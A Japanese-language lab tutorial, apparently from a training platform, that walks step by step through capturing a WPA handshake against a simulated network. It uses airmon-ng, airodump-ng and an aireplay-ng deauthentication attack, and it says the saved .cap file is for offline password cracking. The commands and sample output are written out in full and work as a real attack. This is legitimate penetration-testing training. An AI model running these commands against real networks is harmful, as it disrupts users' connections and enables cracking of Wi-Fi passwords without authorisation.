airodump-ng で WPA ハンドシェイクを手動でキャプチャする

Beginner
オンラインで実践に進む

はじめに

WPA/WPA2 の 4 ウェイハンドシェイクは、現代の Wi-Fi セキュリティにおける重要なコンポーネントです。これは、クライアントとアクセスポイント (AP) が、事前共有キー (Wi-Fi パスワード) を直接送信することなく、それを知っていることを証明するプロセスです。このハンドシェイクをキャプチャすることは、Wi-Fi パスワードを復元するためのブルートフォース攻撃または辞書攻撃の最初のステップです。

この実験では、強力な Aircrack-ng ツールスイートを使用してこのキャプチャを実行する方法を学びます。airmon-ng を使用してワイヤレスカードをモニターモードにし、airodump-ng を使用して特定のネットワークをスキャンおよびターゲットにし、aireplay-ng を使用してクライアントに再認証を強制し、それによってキャプチャするためのハンドシェイクを生成します。

この実験は、実際のシナリオをシミュレートします。実験環境内で練習するために、ワイヤレスインターフェイス wlan0 とターゲットネットワークが提供されます。

ワイヤレスアダプターをモニターモードにする

このステップでは、ネットワークトラフィックのキャプチャのためにワイヤレスアダプターを準備します。デフォルトでは、ワイヤレスアダプターは「マネージドモード」で動作します。これは、自分宛てのトラフィックにのみ注意を払うことを意味します。空中のすべての Wi-Fi トラフィックをキャプチャするには、それを「モニターモード」に切り替える必要があります。このために airmon-ng ツールを使用します。

まず、ワイヤレスインターフェイスの名前を確認しましょう。ターミナルを開き、iwconfig コマンドを実行します。

iwconfig

インターフェイスがリストされているはずです。通常は wlan0 という名前です。

lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on

次に、airmon-ng を使用して wlan0 インターフェイスでモニターモードを開始します。このコマンドは、キャプチャを妨げる可能性のある一部のネットワークプロセスを終了させる場合があります。

sudo airmon-ng start wlan0

出力は、モニターモードが有効になったことを確認します。通常、モニター用に wlan0mon という名前の新しい仮想インターフェイスが作成されます。

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.

    PID Name
    591 wpa_supplicant
    668 dhclient

PHY     Interface       Driver          Chipset
phy0    wlan0           ath9k           Atheros Communications Inc. AR9271 802.11n

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

再度 iwconfig を実行して、新しいインターフェイス wlan0mon がモニターモードになっていることを確認できます。

iwconfig wlan0mon

出力には Mode:Monitor と表示されるはずです。

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

ターゲットの BSSID とチャンネルを見つけるために airodump-ng を実行する

このステップでは、airodump-ng を使用して無線をスキャンし、ターゲットネットワークを特定します。airodump-ng は、802.11 フレームをキャプチャし、近くのアクセスポイントと接続されているクライアントを発見するための強力なツールです。

インターフェイス wlan0mon がモニターモードになったので、スキャンを開始できます。ターミナルで次のコマンドを実行します。

sudo airodump-ng wlan0mon

ターミナルには、airodump-ng が検出できるすべての Wi-Fi ネットワークのリストが表示されます。表示は 2 つの部分に分かれています。上部はアクセスポイント (AP) のリスト、下部は接続されているクライアント (ステーション) のリストです。

AP の主要な列を分解しましょう。

  • BSSID: アクセスポイントの MAC アドレスです。これはユニークなハードウェア識別子です。
  • CH: ネットワークが動作しているチャンネルです。
  • ESSID: Wi-Fi ネットワークの人間が読める名前です (例:"MyHomeWiFi")。

以下は、表示される可能性のある例です。

 CH  6 ][ Elapsed: 3 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -30       10        0    0   6  54e  WPA2 CCMP   PSK  LabEx_WiFi
 C8:D3:FF:A1:B2:C3  -65        8        0    0   1  54e  WPA2 CCMP   PSK  AnotherWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

この実験では、ターゲットネットワークは LabEx_WiFi です。上記の出力から、その BSSID (00:11:22:33:44:55) と CH (6) を特定してください。次のステップでこれらが必要になります。

BSSID とチャンネルをメモしたら、ターミナルで Ctrl+C を押してスキャンプロセスを停止します。

特定の BSSID とチャンネルをターゲットにするために airodump-ng を実行する

このステップでは、ターゲットネットワークのみにキャプチャを集中させます。前のステップで行ったような一般的なスキャンを実行すると、ワイヤレスカードが「チャンネルホッピング」するため、ハンドシェイクが発生したときにそれを逃してしまう可能性があります。キャプチャを成功させるために、airodump-ng にターゲットのチャンネルにロックオンし、その BSSID からのトラフィックのみをリッスンするように指示します。

また、-w フラグを使用して、キャプチャされたパケットをファイルに書き込みます。このファイルにハンドシェイクが含まれます。

前のステップで特定した BSSID とチャンネル (00:11:22:33:44:556) を使用して、次のコマンドを構築します。出力ファイルの名前を handshake_capture とします。

sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon

このコマンドを実行すると、airodump-ng の表示が変更されます。今後は LabEx_WiFi ネットワークの情報のみが表示されます。また、それに接続されているクライアント (STATION) のリストも表示されます。

 CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       25        10    1   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1- 1      0       15

重要: このターミナルを実行したままにしておきます。キャプチャを続けるために必要です。次のステップのために、新しいターミナルウィンドウを開く必要があります。これは、環境のアプリケーションドックでターミナルアイコンを再度クリックすることで実行できます。

aireplay-ng を使用してクライアントを認証解除する

このステップでは、ハンドシェイクを積極的に発生させます。ハンドシェイクは、クライアントがアクセスポイントに接続または再接続したときにのみ発生します。クライアントが既に接続されている場合、自然に切断されるのを待つことができますが、これには時間がかかる可能性があります。「認証解除攻撃」を使用してクライアントを切断させる方が積極的なアプローチです。

aireplay-ng を使用して、クライアントに特別に細工された認証解除パケットを送信し、AP によって切断されたと信じ込ませます。クライアントは自動的に再接続しようとし、airodump-ng プロセス (別のターミナルで実行中) がキャプチャを待っている WPA ハンドシェイクを生成します。

最初のターミナルウィンドウ (ターゲットの airodump-ng を実行しているウィンドウ) を確認してください。STATION 列の下に、接続されているクライアントの MAC アドレスが表示されます。この実験では、クライアントの MAC アドレスは AA:BB:CC:DD:EE:FF であると仮定します。

次に、新しいターミナルウィンドウで、次の aireplay-ng コマンドを実行します。

  • --deauth 5: これは 5 つの認証解除パケットを送信します。通常、小さなバーストで十分です。
  • -a 00:11:22:33:44:55: これはターゲットのアクセスポイントの BSSID です。
  • -c AA:BB:CC:DD:EE:FF: これはターゲットにしているクライアントの MAC アドレスです。
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

パケットを送信していることを確認する aireplay-ng からの出力が表示されます。

10:35:10  Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11  Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]

これで、キャプチャが成功したかどうかを確認しましょう。

airodump-ng ウィンドウでハンドシェイクキャプチャを確認する

この最終ステップでは、WPA ハンドシェイクを正常にキャプチャできたことを確認します。先ほど実行した認証解除攻撃により、クライアントは再接続し、airodump-ng はその結果のハンドシェイクをキャプチャしたはずです。

焦点を 最初のターミナルウィンドウ に戻してください。airodump-ng が実行されており、LabEx_WiFi をターゲットにしているウィンドウです。

airodump-ng の表示の右上隅を見てください。キャプチャが成功した場合、[ WPA handshake: 00:11:22:33:44:55 ] というメッセージが表示されます。

 CH  6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       80       115    8   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1-11      0       98

このメッセージが表示されたら、成功です!4 ウェイハンドシェイクを正常にキャプチャしました。

これで、各ターミナルウィンドウで Ctrl+C を押して、両方のプロセスを停止できます。

ハンドシェイクを含むキャプチャされたデータは、現在のディレクトリのファイルに保存されました。ls -l コマンドで一覧表示できます。

ls -l

handshake_capture で始まるいくつかのファイル、特に handshake_capture-01.cap が表示されるはずです。

-rw-r--r-- 1 root root  452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...

この .cap ファイルが成果物です。これにはハンドシェイクが含まれており、オフラインでのパスワードクラッキング試行のために aircrack-nghashcat のようなツールで使用できます。

まとめ

この実験を完了したこと、おめでとうございます!Wi-Fi ペネトレーションテストにおける基本的なテクニックの 1 つを正常に実行しました。

この実験では、以下の方法を学びました。

  1. airmon-ng を使用してワイヤレスアダプターをモニターモードにする方法。
  2. airodump-ng を使用して近くのワイヤレスネットワークをスキャンし、ターゲットを特定する方法。
  3. 特定の BSSID とチャネルに airodump-ng を集中させてターゲットキャプチャの準備をし、結果をファイルに保存する方法。
  4. aireplay-ng を使用して認証解除攻撃を実行し、クライアントを再接続させる方法。
  5. airodump-ng の出力で WPA ハンドシェイクのキャプチャを確認する方法。

生成された .cap ファイルには、貴重なハンドシェイクデータが含まれています。実際のエンゲージメントにおける次の論理的なステップは、このファイルを使用して Wi-Fi パスワードのクラッキングを試みることですが、これは別の実験のトピックです。これで、この重要なデータのキャプチャを手動で行うプロセスについて、確かな理解を得ることができました。